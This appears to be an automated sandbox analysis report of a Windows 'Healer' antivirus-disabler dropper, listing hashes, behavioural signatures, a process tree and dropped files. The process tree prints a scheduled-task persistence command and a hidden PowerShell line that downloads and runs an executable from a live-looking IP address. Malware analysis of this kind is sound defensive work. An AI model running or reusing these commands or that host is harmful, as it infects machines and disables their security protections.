Analysis

  • max time kernel
    93s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-02-2025 21:53

General

  • Target

    3522d8fe0b3cb7126fcf9ab74405cd6bc29a93001bc23854941d90fc7fcf3390.exe

  • Size

    938KB

  • MD5

    f8363b39122ec442ddf9d5064da011dd

  • SHA1

    edc3a725b2e83e15d7f002b8fd249348e7725737

  • SHA256

    3522d8fe0b3cb7126fcf9ab74405cd6bc29a93001bc23854941d90fc7fcf3390

  • SHA512

    e9e4eb4675ab3f5ec8653f5b131b3d2f4c74b4bf2208fceecf87b707e54adbb8107b5ce4f3339297e88f58aaf1bce46ed1631ae03e99f8143672e1c264392a3c

  • SSDEEP

    24576:6qDEvCTbMWu7rQYlBQcBiT6rprG8aeKl:6TvC/MTQYxsWR7aeK

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

  • Healer family
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Windows security modification 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3522d8fe0b3cb7126fcf9ab74405cd6bc29a93001bc23854941d90fc7fcf3390.exe
    "C:\Users\Admin\AppData\Local\Temp\3522d8fe0b3cb7126fcf9ab74405cd6bc29a93001bc23854941d90fc7fcf3390.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4120
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn 4mOM0maZGCb /tr "mshta C:\Users\Admin\AppData\Local\Temp\OHsTsGrtF.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5020
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn 4mOM0maZGCb /tr "mshta C:\Users\Admin\AppData\Local\Temp\OHsTsGrtF.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:4748
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\OHsTsGrtF.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2320
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'OTHGTC6OY3TZ8F9JQAIFVSXVO5LWFDR6.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4344
        • C:\Users\Admin\AppData\Local\TempOTHGTC6OY3TZ8F9JQAIFVSXVO5LWFDR6.EXE
          "C:\Users\Admin\AppData\Local\TempOTHGTC6OY3TZ8F9JQAIFVSXVO5LWFDR6.EXE"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender TamperProtection settings
          • Modifies Windows Defender notification settings
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Windows security modification
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3452

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\TempOTHGTC6OY3TZ8F9JQAIFVSXVO5LWFDR6.EXE

    Filesize

    1.7MB

    MD5

    7484497cd31ac2475808772a30efd8fa

    SHA1

    6e1e52d91ec5789bc69ef7a558482bb309b4941d

    SHA256

    4532c7f02d37367f66b795ae3f7e1b84fb1d99e7ec10babeb696a1dc35d371dd

    SHA512

    8ea28fe59f941b2fb9c6112bae5df59b249280daaa909b968411ed4b95fe23a041194ac26ea9d3ac4a628197960a44e46825e29a9ee9042c12acec7a16d228ce

  • C:\Users\Admin\AppData\Local\Temp\OHsTsGrtF.hta

    Filesize

    726B

    MD5

    18929cd2d6d2d8e08a77b45d06527c62

    SHA1

    587cee6017dcbc872fccaf2db30ee9531f5d105f

    SHA256

    bf2d32df9d759f6dff9ca5714c95ef4bcd872a1c638dc2a7f082caeff869b369

    SHA512

    5ee98c37e3b3f4f3dc8b554ea95fa243c4daee4076b7c9beba54e389298fe9314c84d339378ad4ad1f7764f39e18b2a732b4ebc47e6c6ae3ddfb66e87c1682c6

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mpesg3vr.vvs.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3452-44-0x0000000000BF0000-0x000000000105C000-memory.dmp

    Filesize

    4.4MB

  • memory/3452-41-0x0000000000BF0000-0x000000000105C000-memory.dmp

    Filesize

    4.4MB

  • memory/3452-39-0x0000000000BF0000-0x000000000105C000-memory.dmp

    Filesize

    4.4MB

  • memory/3452-38-0x0000000000BF0000-0x000000000105C000-memory.dmp

    Filesize

    4.4MB

  • memory/3452-34-0x0000000000BF0000-0x000000000105C000-memory.dmp

    Filesize

    4.4MB

  • memory/4344-6-0x0000000005560000-0x00000000055C6000-memory.dmp

    Filesize

    408KB

  • memory/4344-18-0x0000000005C20000-0x0000000005C6C000-memory.dmp

    Filesize

    304KB

  • memory/4344-19-0x00000000072B0000-0x000000000792A000-memory.dmp

    Filesize

    6.5MB

  • memory/4344-20-0x00000000060B0000-0x00000000060CA000-memory.dmp

    Filesize

    104KB

  • memory/4344-23-0x0000000007060000-0x0000000007082000-memory.dmp

    Filesize

    136KB

  • memory/4344-22-0x00000000070D0000-0x0000000007166000-memory.dmp

    Filesize

    600KB

  • memory/4344-24-0x0000000007EE0000-0x0000000008484000-memory.dmp

    Filesize

    5.6MB

  • memory/4344-17-0x0000000005B70000-0x0000000005B8E000-memory.dmp

    Filesize

    120KB

  • memory/4344-16-0x00000000056D0000-0x0000000005A24000-memory.dmp

    Filesize

    3.3MB

  • memory/4344-5-0x00000000054F0000-0x0000000005556000-memory.dmp

    Filesize

    408KB

  • memory/4344-4-0x0000000004BC0000-0x0000000004BE2000-memory.dmp

    Filesize

    136KB

  • memory/4344-3-0x0000000004DC0000-0x00000000053E8000-memory.dmp

    Filesize

    6.2MB

  • memory/4344-2-0x00000000045C0000-0x00000000045F6000-memory.dmp

    Filesize

    216KB